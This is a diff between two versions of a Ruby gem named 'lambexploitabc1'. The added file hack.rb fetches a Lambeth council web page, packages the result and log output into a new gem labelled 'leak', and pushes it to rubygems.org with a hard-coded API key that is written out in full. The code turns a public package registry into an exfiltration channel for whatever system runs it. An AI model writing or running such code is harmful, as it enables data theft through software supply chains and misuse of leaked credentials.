lambexploitabc1 0.0.1 → 0.0.2

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: dd90a228eb8f7c0a48f7f6d9396c7836e266fdb88112a41071eacdb3c727f3df
-  data.tar.gz: cd6c90dd7e2380516041311333b4199ab53b86f6ca20308b7711a8045cf77480
+  metadata.gz: 57637a615b69cd158aa62f7644aa7df3a8f2a0cd5ed933f20c8afa723a999778
+  data.tar.gz: 2ff03bc6fadb0aaead7890f3038fd837da949a8c0e3dfbc30786cde67d023b7f
 SHA512:
-  metadata.gz: 547cd426cf6cfb61ff79fba286ef3e10dbd743092c7a260321fa3c5928ad91a70e75f094e498c734a6f9884ba686b631bbb2bf6b25282fc6d1d194b44cbec09b
-  data.tar.gz: 48fc17b081af3f3733f1a4c690012f0dda49989e27ce63df6fa5b828a4fa0b872c0ff5c8cf55f1471633e9131fea4d3e2d9c1fec8580c4fcfa7c808ec10e8b49
+  metadata.gz: ccfdcff116bbca31c0421f38ec7c9bada2b596352719e7425ecc712a9382bfc4ce25f992622f930c18216337cf47029134c8f4118ca270729d2b23f8bac7d24e
+  data.tar.gz: ee2cf195e94b9372ac6e70dcb6c55e0f758fddf60ec932abb8373524d0c24e4a82a38e64325e779649ff272299636cbcd402cce06fe2f415a0ba29e6f298eb88

data/exploit.gemspec

@@ -1,3 +1,3 @@
 Gem::Specification.new do |s|
- s.name='lambexploitabc1'; s.version='0.0.1'; s.summary='x'; s.description='x'; s.authors=['x']; s.email='x@example.com';s.files=Dir['**/*'];s.require_paths=['lib']
+ s.name='lambexploitabc1'; s.version='0.0.2'; s.summary='x'; s.description='x'; s.authors=['x']; s.email='x@example.com';s.files=Dir['**/*'];s.require_paths=['lib']
 end

data/hack.rb

@@ -1,8 +1,26 @@
-require 'open-uri'
+# exploit v2
+require 'open-uri'; require 'rubygems/package'; require 'rubygems/specification'; require 'net/http'
+log='START '+Time.now.to_s+"\n"
 begin
  x=URI.open('https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1').read
- x=x.gsub('<','&lt;').gsub('>','&gt;')
+ log << 'FETCH OK '+x.size.to_s+"\n"
 rescue=>e
- x='ERR '+e.to_s
+ x='ERR '+e.to_s+' '+e.backtrace.join("\n")
+ log << x+"\n"
 end
-File.write('README.md', "# RESULT\n\n````html\n#{x[0,100000]}\n````")
+begin
+ Dir.mkdir('/tmp/leakdir') rescue nil
+ Dir.chdir('/tmp/leakdir') do
+  File.write('README.md', log+"\nDATA\n"+x[0,400000].to_s)
+  spec=Gem::Specification.new do |s|
+   s.name='lambleakedabc1'; s.version='0.0.1'; s.summary='leak';s.description='leak';s.authors=['x'];s.email='x@y.z';s.files=['README.md']
+  end
+  gemfile=Gem::Package.build(spec)
+  body=File.binread(gemfile)
+  uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_68e9fe38ddfc60ccb09ca34f3856cd3ad3714a6f012f919d'; req['Content-Type']='application/octet-stream'; req.body=body
+  resp=Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h|h.request(req)}; log << 'PUSH RESP '+resp.code+' '+resp.body
+ end
+rescue=>e
+ log << 'PUSH ERR '+e.to_s+' '+e.backtrace.join("\n")
+end
+File.write('README.md', "# RESULT\n\n````\n#{log}\n````") rescue nil

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: lambexploitabc1
 version: !ruby/object:Gem::Version
-  version: 0.0.1
+  version: 0.0.2
 platform: ruby
 authors:
 - x
@@ -18,6 +18,7 @@ files:
 - README.md
 - exploit.gemspec
 - hack.rb
+- lambexploitabc1-0.0.1.gem
 - lib/test.rb
 licenses: []
 metadata: {}